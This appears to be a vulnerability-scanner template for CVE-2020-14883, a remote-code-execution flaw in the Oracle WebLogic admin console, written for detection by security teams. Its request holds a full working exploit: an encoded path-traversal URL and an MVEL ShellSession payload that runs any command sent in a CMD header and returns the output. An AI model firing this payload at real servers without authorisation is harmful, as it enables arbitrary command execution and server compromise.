59 lines
2.7 KiB
YAML
59 lines
2.7 KiB
YAML
id: CVE-2020-14883
|
|
|
|
info:
|
|
name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
|
|
author: pdteam
|
|
severity: high
|
|
description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows
|
|
high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2020-14883
|
|
tags: cve,cve2020,oracle,rce,weblogic
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Language: en
|
|
CMD: {{cmd}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
|
|
|
|
payloads:
|
|
cmd:
|
|
- id
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "ADMINCONSOLESESSION"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'uid='
|
|
- 'gid='
|
|
- 'groups='
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "(u|g)id=.*"
|
|
|
|
# Enhanced by mp on 2022/04/20
|